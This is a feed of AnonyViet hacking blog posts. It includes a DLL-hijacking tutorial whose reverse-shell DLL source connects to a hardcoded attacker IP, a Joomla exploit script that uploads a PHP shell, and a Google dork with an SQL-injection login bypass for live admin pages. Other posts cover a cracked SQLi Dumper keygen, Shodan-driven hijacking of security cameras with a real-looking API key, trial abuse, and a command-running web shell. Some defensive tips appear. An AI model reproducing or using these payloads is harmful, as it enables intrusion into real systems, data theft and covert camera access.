exploit – AnonyViet – English Version

How to exploit the holy hole of Hijacking on Windows

AnonyViet — Fri, 07 Mar 2025 22:51:16 +0000

Dll hijacking – The name sounds somewhat mysterious, but it is an interesting attack technique that anyone who cares about security wants to explore. On the Windows operating system, the programs depend a lot on the DLL file (Dynamic Link Library) to operate smoothly. But if a cunning hacker replaces the original DLL with a “toxic” version, what will happen?

Join the channel Telegram belong to Anonyviet 👉 Link 👈

Important note: This article only serves the purpose of learning and research. Anonyviet does not encourage any illegal behavior, and you need to be responsible for your actions!

What is Dll Hijacking?

DLL Hijacking is a gap technique when the program does not strictly control the DLL file. When an application like DISM.EXE (Windows system management tool) runs, it will search for the DLL needed in a series of folders in the order of priority.

If the hacker puts a fake DLL in the directory that the program checks before coming to the Orthodox folder (such as System32), the application will “innocent” download malware instead of the original DLL. This is the “gap” that security experts – or hackers – can take advantage.

What is Dll Hijacking?

Why is dism.exe an ideal goal?

DISM.EXE is a built -in tool in Windows, usually located in C: \ Windows \ System32. Because of its popularity and role in managing the system, DISM.EXE became an attractive “prey” to test the DLL Hijacking. Moreover, the way Windows search DLL is sometimes lacking, opening up opportunities for sophisticated attacks.

Guide to exploit dll hijacking with process monitor

To exploit this gap, we need a process monitor tool from Sysinternals. This is a “powerful assistant” to help you track how the system interacts with DLL files. Here are the detailed steps:

Step 1: Prepare the testing environment

Download Process Monitor

To be safe, use VirtualBox or Vmware Instead of trying directly on the main machine.
Select the goal: Here, I choose Dism.exe, but you can apply this method to any program.

Step 2: Monitor the behavior of dism.exe

Open Process Monitor, you will see a series of system events recorded. Don't panic! Set the filter to focus:

Press Ctrl + L (or go to Filter> Filter).
Add conditions: Process Name – IS – DISM.EXE – Include and Path – Contains
– .dll – Include

Add conditions

Press Add Already OK. Now Process Monitor only shows activities related to DISM.EXE and DLL.

Step 3: Run Dism.exe and observe

Open PowerShell, type C: \ Windows \ System32 \ DISM.EXE and click Enter.
Back to Process Monitor, you will see the list of DLLs that Dism.exe try to download.

List of DLLs that DISM.EXE tries to download

If the result column displays “Name not foundIt is a sign that the program can be exploited DLL Hijacking.

For example, I discovered the file C: \ Windows \ System32 \ Dismcore.dll Can be exploited.

Program signs can be exploited DLL Hijacking

Step 4: Create fake DLL

Copy dism.exe to the %Temp %folder.

Copy dism.exe into the %temp %folder

Create a toxic dismcore.dll file. Here I created a Payload Reverse Shell called DISMCORE.CPP and translated into Dismcore.dll file with Visual Studio then copied it to the % Temp % directory and ran the dism.exe file again

#define REVERSEIP "193.161.193.99" #địa chỉ ip máy hacker
#define REVERSEPORT 52543 #port máy hacker

#include
#include

#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;

STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

hax.sin_family = AF_INET;
hax.sin_port = htons(REVERSEPORT);
hax.sin_addr.s_addr = inet_addr(REVERSEIP);

WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);

memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
return TRUE;
}

Create a toxic dismcore.dll file

Step 5: Check the results

Run Dism.exe from %Temp %. If successful, a Reverse Shell connection will be sent to IP and port you have defined. Hackers can now control the machine remote!

How to detect and prevent dll hijacking

Understanding how to exploit is one thing, but protecting the system from DLL Hijacking is another challenge. Here's how to identify and prevent:

How to detect dll hijacking

1. Explore by Process Monitor

This is an effective tool to track the DLL download program: Observe the application's operation and search for the “name not found” line in the result column, when it tries to take DLL from non -security positions (such as the directory is in use or outside the System32).

If the DLL search application in places is susceptible to the bad guy who inserts a fake file before going to the standard folder, which is a potential sign.

How to detect dll hijacking

2. Take advantage of DLLSPY

Dllspy Is a compact, specialized solution to detect the risk of dll hijacking:

How to do it:

Start DLLSPY on the computer.
The tool will review the running processes, checking how they search DLL.
DLLSPY offers a list of applications that may be attacked if they prioritize DLL from unreliable folders (such as personal directory or abnormal paths).

Strengths: DLLSPY automates the analysis, helping to quickly indicate vulnerable software without manual manipulation as with Process Monitor.

For example, when checking DISM.EXE, DLLSPY may detect whether it looks for dismcore.dll outside the system32.

3. Check the DLL download sequence via Dependency Walker

Download Dependency Walker (Free) To consider the DLL that the software needs to use.
Run the application in this tool, then observe the DLL list and the loading path. If DLL is found to be taken from an unofficial place, it is a warning signal.

4.

When a familiar software (such as dism.exe) works strange (displaying strange messages or having errors), it is likely that DLL has been replaced.
Use Task Manager or Process Explorer to check the related processes and verify the file origin.

Measures to prevent DLL hole Hijacking

1. Limit access to folders

Make sure that only administrators are allowed to record data in important folders such as C: \ Windows \ System32.
Avoid launching applications from unsafe places (for example: C: \ Downloads), because the attacker can place fake DLL there.

Measures to prevent DLL hole Hijacking

2. Apply fixed path in programming

If you develop the software, configure the program to call DLL with a clear link (like C: \ Windows \ System32 \ Dismcore.dll), instead of letting it freely search.

3. Turn on Safedllsearchmode mode

Check and set the SafedllsearchMode value in the Registry (at Hkey_local_machine \ System \ CurrentControlset \ Control \ Session Manager) into 1, to prioritize the first system folders.

4. Deploying protection tools

Use anti -virus or anti -malicious software (such as MalwareStes, Kaspersky, …) to identify and prevent dangerous DLLs promptly.

Conclude

Dll hijacking Not only is an attack technique but also a warning about the importance of software security. With tools like Process Monitor, you can both exploit and prevent this hole effectively. The world of security is still countless interesting things waiting for you to explore. Start today, turn your knowledge into strength and always be careful in every step!

Joomla com_adsmanager Exploit – AnonyViet

AnonyViet — Wed, 01 Feb 2023 21:50:41 +0000

Dork : inurl:/index.php?option=com_adsmanager/ site:/uk/com/org

Join the channel Telegram of the AnonyViet 👉 Link 👈

PHP CODE:

 "@shell.jpg",
"name" => "shell.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;

?>

#CSRF :

Access Shell: site.com/tmp/plupload/shell.php

The article achieved: 5/5 – (100 votes)

14 Web Vulnerability Scan Tools to Exploit

AnonyViet — Tue, 31 Jan 2023 07:16:15 +0000

In the past, many famous websites have been hacked by hackers and caused serious consequences, causing loss of reputation for businesses. The security check for the website is extremely important to avoid future losses. The security assessment for the website needs skilled experts with great cost, in addition, it is necessary to coordinate the use of Application Security Scanner tools to quickly find and provide timely patches to ensure the security of the websites. website.

Join the channel Telegram of the AnonyViet 👉 Link 👈

Application Security Scanner is a software program that allows you to check for security Vulnerabilities on websites.

Application Security Scanner with commercial versions is quite effective like Acunetix web, besides there are many open source webscan programs that bring high efficiency to help experts or programmers quickly and save time. Find security errors on the website system.

You should not confuse open source programs with free programs, they are completely different. Open source is having a repository of source code for that application so that users can customize it in many different ways, sometimes it is developed into an application that sells for money, sometimes it is shared for free, but all must publish the code. source and free applications are of course free, but its source code is unknown.

first. Grabber:
As a WEB APPLICATION vulnerability scanner the vulnerabilities it can detect:
Cross site scripting
SQL injectionAjax testing
File inclusion
JS source code analyzer
Backup file check
This tool is considered to run quite quickly with small websites and takes a long time with large websites.
This tool is developed in python language and provides no user interface. You can customize or study its source code.

Download it here: http://rgaucher.info/beta/grabber/
Source code on Github: https://github.com/neuroo/grabber

2. Vega:

This is a development tool based on java programming language that can run on OSX, Window, Linux platforms.
The Vega tool can look for SQL injection, header injection, directory listing, shell injection, cross site scripting, file inclusion, and several other web application vulnerabilities.
You can set the number of dark scan threads per second when starting to check a website.

Documentation: https://subgraph.com/vega/documentation/index.en.html
Download Vega: https://subgraph.com/vega/

3. Zed Attack Proxy:

This is a tool developed by AWASP that runs on Windows, OSX, Unix, Linux platforms. This is a simple and easy to use tool.
Its features are listed below:
Intercepting Proxy
Automatic Scanner
Traditional but powerful spiders
Fuzzer
Web Socket Support
Plug-n-hack support
Authentication support
REST based API
Dynamic SSL certificates
Smartcard and Client Digital Certificates support

Download ZAP : http://code.google.com/p/zaproxy/

4. Wapiti :

This is also a good website security testing tool. Its web security testing method is to scan links and insert test data on objects (texbox…), it supports GET and HTTP POST. Vulnerabilities that can be detected with this tool:

File Disclosure
File inclusion
Cross Site Scripting (XSS)
Command execution detection
CRLF Injection
SEL Injection and Xpath Injection
Weak .htaccess configuration
Backup files disclosure

This is a tool that uses the command line to manipulate, so it is difficult for experts to use for beginners.

Download Wapiti with source code: http://wapiti.sourceforge.net/

5. W3af :

This web security testing tool is developed in python language. Using this tool you can check more than 200 web application vulnerabilities including dangerous vulnerabilities such as: SQL injection, Cross-Site Scripting.

The special thing is that this tool is accompanied by a graphical interface with options that allow users to easily use it.
More details about this tool:

https://github.com/andresriancho/w3af/
Download it from the official website: http://w3af.org/

6. WebScarab :

This is not a beginner tool as it is designed for people who have a good understanding of HTTP and know how to code.
In addition to features like other website security testing tools, the tool has a spider-like function that automatically finds the target’s links and generates scripts to check for vulnerabilities on those links.
Vulnerabilities can be detected by the tool: SQL injection, XSS< CRLF and many more.

Source code of the tool is available on Github: https://github.com/OWASP/OWASP-WebScarab
Download WebScarab here: https://www.owasp.org/index.php/Cate…Scarab_Project

7. Skipfish :

This is a tool written in C programming language. It is optimized to run 2000 requests per second without too much CPU of the computer, so the speed is quite fast.
This tool is run on platforms: OSX, Linux, Window.

Download Skipfish or code from GOogle Codes: http://code.google.com/p/skipfish/

8. Ratproxy:
Ratproxy is also an open source web application security testing tool. It supports Linux, FreeBSD, MacOS X, and (Cygwin) Windows environments.

This tool is designed to overcome problems users often face when using other proxy tools for security checks. It has the ability to distinguish between css and JavaScript code. It also supports the SSL protocol during security checks, which means you can also view the data when the website runs SSL.

You can read more about this tool here: http://code.google.com/p/ratproxy/wiki/RatproxyDoc
Download http://code.google.com/p/ratproxy/

9. SQLMap :
This is probably the most commonly used tool and many of you know about it.
QALMap is written in Python programming language and runs by command line on all 3 platforms OSX, Linux, Window.
You can learn more about this tool at:

https://github.com/sqlmapproject/sqlmap
Download SQLMap here: https://github.com/sqlmapproject/sqlmap

ten. Wfuzz:

Wfuzz is a free and open source tool for web application security testing. It can be used to execute GET and POST queries to detect security vulnerabilities such as SQL, XSS, LDAP and many more. It also supports cookie fuzzing, multi-threading, SOCK, Proxy, Authentication, parameters brute forcing, multiple proxy…vvv
This is a tool that does not support the interface, so you must use the command line to use it.

Download Wfuzz from code.google.com: http://code.google.com/p/wfuzz/

11. Grendel-Scan:
This is a tool developed in Java language that runs on OSX, Linux and Window platforms. It helps professionals quickly find web application vulnerabilities.

Download the tool and source code: http://sourceforge.net/projects/grendel/

twelfth. Watcher:
Different from other tools this is a passive program in the form of an add-on. To use it you need to install Fiddler first and then install the Watcher add-on.
As a passive scanner, it does not affect the website or its infrastructure.

Download watcher and its source code: http://websecuritytool.codeplex.com/

13. X5S:
This is a Fiddler add-on to use it you must also install Fiddler first.

Download X5S and source code from codeplex: http://xss.codeplex.com/

14. Arachni:
Arachni is an open source tool developed to provide a penetration testing environment. This tool can detect various web application security vulnerabilities. It can detect various vulnerabilities like SQL Injection, XSS, Local File inclusion, remote file inclusion, unvalidated redirect and many more.

Download this tool here: http://www.arachni-scanner.com/

Through this article, you can know some more tools to help find website security vulnerabilities. The article I only briefly introduced about the above tools, I hope you will have detailed articles introducing that layer of tools for everyone to learn.

Source: resources dot infosecinstitute dot com

Website Vulnerability Scan Tool

Website error scanning tool

The article achieved: 5/5 – (100 votes)

Tut exploit error Website Admin Page 0day 29/4/2017

AnonyViet — Mon, 30 Jan 2023 04:37:11 +0000

Step 1:

Go to google and type the search command:

Join the channel Telegram of the AnonyViet 👉 Link 👈

"Powered by Ofek Technologies"

"Designed By Ofek Technologies"

Step 2:

Go to any Website, add the admin link after:

site-bi-hack.com/index.php/admin/login.html

Step 3:

[+] Username: '=' 'or'
[+] Password: '=' 'or'

Step 4:

Full Admin rights, do whatever you want

Thanks : | nginxDEX – Vcry – Kerens_id – StuxN3t – Codename – CowoKerensTeam – trenggalek6etar – XaiSyndicate -indoXploit |

The article achieved: 5/5 – (100 votes)

SQLMap v1.2.9 – The Most Powerful SQL Injection Vulnerability Exploit

AnonyViet — Sun, 29 Jan 2023 04:33:35 +0000

Today we talk about Hacking with an old but new tool. SQL Injection vulnerabilities have been around for a long time and are quite familiar to us. However, this error is old but still dangerous for any website to make.

Join the channel Telegram of the AnonyViet 👉 Link 👈

The reason is compared to the lack of care in the process of writing data processing code for the website. This vulnerability is often used by Kiddie Scripts to wreak havoc. By the way, if you don’t know who Script Kidde is referring to? then please read here.

This bug allows an intruder to request the server to return data without logging in. So what do you think if information about the admin account is requested to be sent to Hacker? Is the whole website going to go to hell with this Hacker game?

Leverage SQLMap to Find SQL Injection Vulnerabilities

You don’t have to work hard to learn each command line like before and it doesn’t take too much time. If you are a Script Kidde ? You will surely love it SQLMap and what it can do for you. First of all, I would like to briefly explain about SQLMap for those who do not know.

What is SQLMap?

This is a tool to help you exploit SQL-related vulnerabilities quickly. This tool is considered the most powerful weapon in terms of exploiting this SQL vulnerability. When learning Hacking, you definitely have to use it more or less.

It has many features suitable for SQL penetration testers and a series of automatic branching tools to get the database footprint to fetch data from the database. Support for accessing the underlying file system and executing commands on the operating system over an out-of-band connection.

That is, when you get in, you will be able to manipulate their data through the network connection.

Operating system Kali Linux or Back Track 5 SQLMap already has built-in. But for Windows, you have to install Python and SQLMAP to use it. Because SQLMap is written in Python and requires a Python library in your computer to run.

Install Python

As mentioned above, to use SQLMap, you must have a Python library on your computer. You can download and install the Python library at the homepage https://www.python.org/ (It is recommended to install version from 2.7 or higher).

What’s new in SQLMap v1.2.9?

This is a weapon that has existed for a long time through many versions. But now, it has just been updated to version 1.2.9 with many new features. Specifically, information about the new features in this update is:

Full support for database management systems MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix.
Full support for six SQL Injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
Allows direct connection to the database without passing through SQL injection. You just need to enter the DBMS login information, IP address, Port and Database name you want to connect. (This is what I like.)
Supports enumeration of users, password hashes, privileges, roles, databases, tables and columns.
Helps you to crack the hash of user passwords. That means you can reverse-decrypt and get the password of any user you want.
Allow to copy (backup) the database as you like.
Provides full control over the database upon successful intrusion.
Allows you to Download and Upload Files comfortably to the Database very quickly.

There are a few more special features that I have not listed. Experience it yourself and enjoy with this new version. Now I will guide you to install SQLMap (remember to install Python first).

Install SQLMap

You can download the compressed file directly at one of the two links below.

Alternatively, you can use the command Git to Clone the original from the manufacturer.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Using

Use the command below to display the basic commands in SQLMap v1.2.9

python sqlmap.py -h

From the commands listed, you can Google more about their meaning if you want to understand more deeply. Because its statements are many with different functions. I cannot say it all in one post.

Good luck
Lmint

The article achieved: 5/5 – (100 votes)

Download SQLi Dumper v10.1 Full – SQL Injection Error Exploit Tool

AnonyViet — Sat, 28 Jan 2023 04:30:10 +0000

SQLi Dumper is a specialized software to exploit SQL errors. You can use it to exploit a variety of different websites

Join the channel Telegram of the AnonyViet 👉 Link 👈

Main function:

Multi-threading support. Online search engine (to find features);
Automatic extraction and analysis from URL lists;
Automatically search data in bulk URL lists;
Automated parser for injection points by URL, POST, Cookies, UserLogin or UserPassword;
Dumper supports data dump with multithreading (database/table/column/fetch);
Mining supports up to 100 threads;
Analyzer and Dumper support streams up to 50;
Advanced WAF bypass method;
Advanced custom query box;
Dumper can dump large amounts of data, with the ability to control the latency of each request (multithreading);
Vulnerability to vulnerability is easy;
Support proxy list;
GeoIP database;
Internal database;
Trash bin system;
Administrator login finder;
Hasher cracker online;
Reverse IP;
.Exe standalone (no installation).

Download software

Download SQLi Dumper v10.1 Cracked

How to crack

Step 1: Turn on the keygen file to get the key

Step 2: Run the program and paste the key in

Note: when turning on the keygen file, please turn off the computer protection software because these software mistakenly identify as containing viruses.

How to use SQLi Dumper v10.1

Step 1: open the software

Step 2: This is the main interface of the software

Below is a list of dorks used to scan:

Dork scans the site

Step 3: Once you have the dork, you paste it in, select start scanner and start scanning

Step 4: After you have scanned enough, you switch to the Exploitables page and select start Exploitables to continue scanning

Step 5: After scanning is complete, switch to Injectables and select start Analyzer to check the site for errors

Step 6: Once there is an error site, right click and select go to dumper

Here:

First choose databases to get data
next, select get columns to get column
Finally, check the lines and select dump data to get information

MK-39

Good luck

The article achieved: 5/5 – (100 votes)

How to use XSS-Freak to exploit XSS vulnerabilities automatically

AnonyViet — Sat, 28 Jan 2023 00:36:11 +0000

XSS-Freak is a tool written entirely in Python3 to perform XSS vulnerability scanning on the network. This tool scans XSS to crawl the entire website and scans all possible directories and links to expand its attack range. It then activates the search to get information about the input tags. Next, it will start sending requests with XSS included. If the site has an input that is vulnerable to exploitation and is not secure from XSS attacks, XSS-Freak will detect it within seconds.

Join the channel Telegram of the AnonyViet 👉 Link 👈

So what is XSS?

XSS, also known as cross-site scripting, is known as a type of vulnerability found in web applications. With the help of XSS, attackers can inject malicious scripts into (seemingly) trusted websites.

Cross-site Scripting (XSS) is one of the most popular hacking techniques when it comes to vulnerabilities on the web. This error occurs when a website generates output based on user input. If the website takes data from the input without proper validation and encryption, it will surely be exploited by hackers.

XSS allows hackers to run malicious JavaScript commands in the victim’s browser, which can take over user session. , nude photos, ….

Security flaws in web applications allow these attacks to happen very often. These errors are quite common and occur in web applications that require user input.

To learn more about Cross-site Scripting (XSS) and its other types, see Cross-site Scripting (XSS) detailed explanation.

Feature:

– Send Payloads XSS

– Written entirely in python3

Supported operating systems:

Request:

– High speed internet connection

– The PC is capable of processing a large number of data streams simultaneously

How does XSS-Freak work

To perform an attack, a target (web victim) and a list of different XSS payloads are required. The tool will now start scanning the main web pages including indexed pages for possible directories and links in the site. It then scans all the folders found in the initial scan and puts them in attack range. Furthermore, it will scan all the links found in both scans.

Then XSS-Freak will add all HTML input tags to the attack range. It will start the attack on both HTML input tags using Payloads XSS. If web input tags are not handled properly, the tool will detect those vulnerabilities right away.

Advantage:

– Due to the use of multi-threading, processing is fast and efficient

– Capable of crawling complete webs

Defect:

– Not supported on phones

– Must have high speed Internet connection

– Requires good hardware

Install XSS-Freak

You run the following commands:

git clone https://github.com/sepulvedazallalinux/XSS-Freak.git

cd XSS-Freak/

pip3 install -r requirements.txt


python3 XSS-Freak.py
Using

The first arrow is where you enter web link want to attack xss in.
The second arrow, you enter the file name containing payloads xss. Note, this file must be in the same directory as the tool.
The processing depends on your CPU and network connection.
Good luck!

            The article achieved: 5/5 – (100 votes)



How to Active Metasploit Pro to Exploit Vulnerabilities
AnonyViet — Thu, 26 Jan 2023 06:18:05 +0000


Metasploit is an automated vulnerability exploit software built into Kali Linux.  However, you may not have heard of the Metasploit Pro version.  This is an enhanced version with an interface and is a product of the famous security firm Rapid 7.





Join the channel Telegram of the AnonyViet  👉 Link  👈





Metasploit Pro Is one mining tool and vulnerability authentication security yes user interface helps you break down your Pentest (penetration testing) process into smaller and more manageable tasks.  With Metasploit Pro, you can leverage the power of Metasploit Framework (built into Kali Linux, Parrot OS) and mining database available via web interface to perform security assessment and authentication gap.
Metasploit Pro allows you to automate the process of finding and exploiting vulnerabilities, and gives you the tools to experiment with attacks on vulnerable targets.  You can use Metasploit Pro to scan open ports and services, exploit vulnerabilities, collect errors and generate test reports.
Metasploit Pro is also a tool for a team to work together, allowing you to share tasks and information with members of the penetration testing team.  With team collaboration, you can assign each member to perform different tasks on how to exploit the target system.  Team members can share goal data, view collected evidence, and create notes to share knowledge about a specific goal.
Finally, Metasploit Pro is a tool with a Web interface for you to identify a system’s vulnerability and take action based on it.
Supported Browsers
Since Metasploit Pro works on a Web interface, you need to install 1 of the browsers below

Google Chrome 10+
Mozilla Firefox 18+
Internet Explorer 10+
Iceweasel 18+

Metasploit Pro is quite expensive, but the company allows users to register for free 14 days using Business Email.  After 14 days you can still use another email to continue to register for a 14-day trial.  Proceed as follows:
First you visit the page Sign up for a trial.  Use temporary virtual mail to get Business Mail to register for an account.

Wait for about 3-5 minutes, you will receive the Key in Email

Next, you access Download Metasploit Pro  about and install.  During the installation process, you need to note a few steps:
Select Metasploit Pro installation directory

Disable Anti-Virus and Firewall on Windows.  If you use Windows Defender, turn off Realtime-Protection scanning.

This is the step to set up the Port to start Metasploit Pro in the browser.  It is best to leave the default as 3790and remember this Port to open the program half way.

This is the step to create an SSL certificate for Metasploit Pro, you should also leave the default.

Now click Next and wait for the installation to complete.  In the Welcome screen, click on the link https://localhost:3790.  Here is also the link to access the Metasploit Pro interface


If your browser has an SSL error, just click on Proceed to localhost (unsafe)

Next you create a user/password to log into Metasploit Pro.  This is only a Local account, you can order later, name and password are free.

Next is to enter the Key sent in the mail, select the line Enter Product Key You’ve Received by Email and click Active License.

That’s it, you have activated the 14-day Key for Metasploit Pro for free.  To test a target vulnerability scan, select Quick Pentest

Next, name the Project, Enter the IP to be scanned in the box Target Address.  Press Start Scan

Now sit back and wait for the security hole scan.  When there is a vulnerability, the program will automatically generate a report for you.

In addition, the program has built-in automatic exploitation feature when detecting vulnerabilities.  I will write in the next part (if this part has many people interested).

            The article achieved: 5/5 – (100 votes)    





How to use Netwave-GoAhead Exploit to exploit security camera vulnerabilities
AnonyViet — Wed, 25 Jan 2023 22:59:59 +0000


In the article “Exercise: Use ZoomEye to access the vulnerable Camera CVE-2018-9995“We can easily find many cameras that still have unpatched vulnerabilities.  However, there is still a Tool called Netwave-GoAhead Exploit that helps to find another type of Vulnerable Security Camera.





Join the channel Telegram of the AnonyViet  👉 Link  👈





About Tools
This tool was created and developed by Kien Quoc.  The tool has the main function of finding IP and checking 2 types of Cameras, Netware IP and GoAhead, to see if there are any vulnerabilities.  From there hack into the camera and view the camera through your Browser.
Instructions on how to use Netwave-GoAhead Exploit
Note: the article is for research purposes only, it is strictly forbidden to use it for illegal purposes.  In case the camera is found to be flawed, immediately notify the owner to quickly fix it.
Install tools
Step 1: Update your Linux and install Python 3 and Pip 3 for me
sudo apt update
sudo apt install Python3.9.6 
(The latest version since the release of this article is 3.9.6. You can check it out on the Python homepage!)
sudo apt-get update
sudo apt-get -y install python3-pip
Step 2: Install Netware-GoAhead Exploit tool
sudo git clone https://github.com/kienquoc102/Netwave-GoAhead-Exploits 
Step 3: Go to the file and install the necessary packages
cd Netwave-GoAhead-Exploits
pip3 install -r ./related.txt
Register an account in Shodan.io
Shodan.io is a search engine that allows users to find specific types of computers connected to the internet using various filters.  In this article, Shodan acts as an ip finder and filter for you to see which ip can be attacked.
Step 1: Go to Shodan.io here
Step 2: Select SIGN UP NOW
Step 3: Select Register in the upper corner
Step 4: Enter login information

Step 5: Go to email Verify with Shodan.io
Step 6: Go to account.shodan.io here.
Pay attention to the API key

Find Vulnerable Cameras with Shodan API key
Enter the following command
 python3 exploit.py -b 2 -v --shodan [nhập cái API key của shodan vào đây]
My example would be 
 python3 exploit.py -b 2 -v --shodan  rrgYhgIMtnrPtfKdiVvWKtyQyY94goA0

It will run as follows

The task you just need to wait for it to produce such results

Now I will try to log in to ip address 181.56.97.61 with port 80

It will prompt you to enter your username and password.  Just based on what the tool says
An example of this would be

Username: admin
Password: 123456

Result
 
Sometimes you will encounter some cases like this
 [+]The ip:192.168.120.1,port:81,username:Location: /admin (Example IP)
[+]The ip:192.168.120.1,port:81,password:
For this ip, please help me remove it because it is not the IP Address of the Camera
Access Camera using available IP
With 1 IP address available port
You run yourself the following command
python3 exploit.py -b 1 -i [IP:PORT] -v 
For example, I have
python3 exploit.py -b 1 -i 192.168.1.5:80 -v
Inside
IP address is 192.168.1.5
Port is 80
With IP list with port
You use the following command for yourself
python3 exploit.py -b 2 -l iplist.txt -v
Inside
iplist.txt is the file containing the ip address in the form: [IP:PORT]

Eg: 192.168.1.5:80
Target IP : 192.168.1.5
Port aimed at: 80
For this way, it will be easy to attack on an address that you already know or if you have an IPlist available, using the following way to check is a very effective way.  Using Shodan is also possible but it will check for many strange ips that have been published on the network.
So I just finished the tutorial on how to find and attack the camera with the Python tool.  If you have a good article, don’t hesitate to send an article contribution via email anonyviet.com@gmail.com, we will edit and post it.  See also: Exercise: Use ZoomEye to find vulnerable cameras CVE-2018-9995 here.

            The article achieved: 5/5 – (100 votes)    





How to exploit File Upload vulnerability
AnonyViet — Wed, 25 Jan 2023 19:58:41 +0000


Although not on the list Top 10 web security vulnerabilities according to OWASP 2020 announcement but File Upload is still an extremely dangerous vulnerability that you should be careful of.  File Upload is a favorite target for hackers, as it requires your website to upload large amounts of data and write it to disk.





Join the channel Telegram of the AnonyViet  👉 Link  👈






This creates an opportunity for attackers to inject malicious scripts into your server.  If hackers can figure out how to execute those scripts, they can compromise your entire system.
So, in this article, I will show you how the File Upload vulnerability works through a real example.
How File Upload Vulnerability Works
Ellyx13 is a hacker who signed up for a website that runs on a popular content management system (like WordPress, for example).
Ellyx13 found something interesting about the site’s avatar upload function.

First, uploaded files are not renamed as part of the upload process.  The original filename appears in the avatar profile URL.  Second, the site checks the file format with javascript.

Ellyx13 writes a simple script called hack.php.  When the website executes this PHP script, it will run any commands passed in the “cmd” parameter.


Ellyx13 disables JavaScript in her browser and uploads files hack.php make your avatar profile.  Since JavaScript is disabled, the file format will not be checked.

No wonder Ellyx13’s avatar profile can’t be displayed, because the file I uploaded is not a valid image file. However, the hack.php script is currently live on the server.

Now, you just need to change the URL of the avatar profile in the browser address bar a little to make the hack.php script execute.

In fact, any command passed in the “cmd” parameter will be executed on the server.  Ellyx13’s file upload created a command execution vulnerability.

Now Ellyx13 has permission to execute commands on the web server.  At this point, I have the right to execute cmd commands to access sensitive data such as file location my.cnf to find the database configuration file for example.  By entering the command path: http://cdn.example.com/1a2fe/hack.php?cmd=locate+my.cnf

I already have the database configuration file path, what should I do next?  Using the command of course cat /etc/mysql/my.cnf to read the file content and find the web password account and nothing more.

Very dangerous, right?  Now that we have seen how the File Upload attack can make your website vulnerable, now we will learn how to secure the File Upload feature.
How to secure File Upload
File Upload is a fairly easy way for an attacker to inject malicious code into your website.  You need to make sure your uploaded files are quarantined until they are fully secured, otherwise you could create an easy path for your system to be attacked.
Risk
Clever hackers often exploit a combination of vulnerabilities when attacking your website – uploading malicious code to the server is the first step in the attack process.  The next step is to find a way to execute the malicious code.
Even large companies suffer from this vulnerability, especially if they are running complex, legacy codebases.
Protect
Any input coming from the user must be handled with care until it is guaranteed to be safe.  This is especially true for uploaded files, because initially your application often treats them as a block of innocuous data, allowing attackers to inject any kind of malicious code they want into the system. your.
Split uploads
Uploaded files are usually less processed.  Unless you’re building a website that handles images, videos, or documents.  If that’s the case, making sure uploaded files are kept separate from the system code is of the utmost importance.
You can use cloud storage services or a content management system to store uploaded files.  Also, if you want, you can write uploaded files to your database.  Both of these approaches prevent random script execution.
Even storing uploaded files on a file server or in a separate disk partition helps, isolating the potential damage a malicious file could cause.
Make sure the file upload cannot be executed
However, if the file uploads are written to disk, make sure they are not treated as executables by the operating system.  Your web server must have read and write permissions on the directories used to store the uploaded content, but cannot execute any files there.  If you are using a Unix-based operating system, make sure that the uploaded files do not have “executable” permissions.
Rename the uploaded file
Rewriting or obfuscating filenames would make it difficult for attackers to identify malicious files once they’ve been uploaded.  At this point, the hacker will not be able to determine the file name to execute the uploaded file.
Validate file formats and extensions
Make sure you check that the file extension of the uploaded file is in the list of allowed file types.  Do this on the server side, as client side checks can be disabled.
Content-Type Authentication
Files uploaded from the browser will be accompanied by a Content-Type header.  Make sure it’s on the whitelist of allowed file types.  (Be aware, however, that simple scripts or proxies can spoof the file type, so this protection, while useful, is not enough to deter an attacker.)
Use a virus scanner
Virus scanners are very helpful in detecting malicious files masquerading as a different file type, so if you are using the File Upload feature, you should run a virus scan.
There are also other File Upload security measures such as checking file size, zip bomb, etc.
If you want me to work on any holes next, please comment below.  Don’t forget to join Anonyviet’s Discord Server here.

            The article achieved: 5/5 – (101 votes)